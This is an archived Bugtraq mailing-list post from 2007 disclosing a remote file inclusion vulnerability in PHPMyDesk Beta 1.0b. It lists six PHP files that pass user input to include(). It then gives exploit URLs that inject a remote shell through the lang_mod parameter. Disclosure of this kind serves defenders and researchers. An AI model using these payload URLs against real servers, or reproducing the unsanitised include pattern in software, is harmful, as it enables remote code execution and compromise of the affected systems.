bugtraq - PHPMyDesk Beta Release 1.0b ==> RFI

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Date: Thu, 7 Jun 2007 22:22:01 +0000
From: titanichacker titanichacker <titanichacker@....com>
To: <submit@...w0rm.com>
Cc: <bugtraq@...urityfocus.com>
Subject: PHPMyDesk  Beta Release 1.0b ==> RFI


script:PHPMyDesk  Beta Release 1.0b ==> RFI
dir url:http://www.cynux.com/phpmydesk/
author: titanichacker
contact:the-modest-pirate@...mail.com
H.P : http://hack-teach.com & mohandko.com & tryag.com
bug in:
./index.php
include($lang_mod);
./login.php
include($lang_mod); 
./logout.php
include($lang_mod);
./subticket.php
include($lang_mod);
./viewall.php
include($lang_mod);
./viewticket.php
include($lang_mod);

exploit:
httpL//victim/index.php?lang_mod=[shell]
httpL//victim/login.php?lang_mod=[shell]
httpL//victim/logout.php?lang_mod=[shell]
httpL//victim/viewall.php?lang_mod=[shell]
httpL//victim/viewticket.php?lang_mod=[shell]

thanx
       cold-zero & mohandko & drbaka & arb-hawk & tryag & xp10 & milw0rm
_________________________________________________________________
Play free games, earn tickets, get cool prizes! Join Live Search Club. 
http://club.live.com/home.aspx?icid=CLUB_wlmailtextlink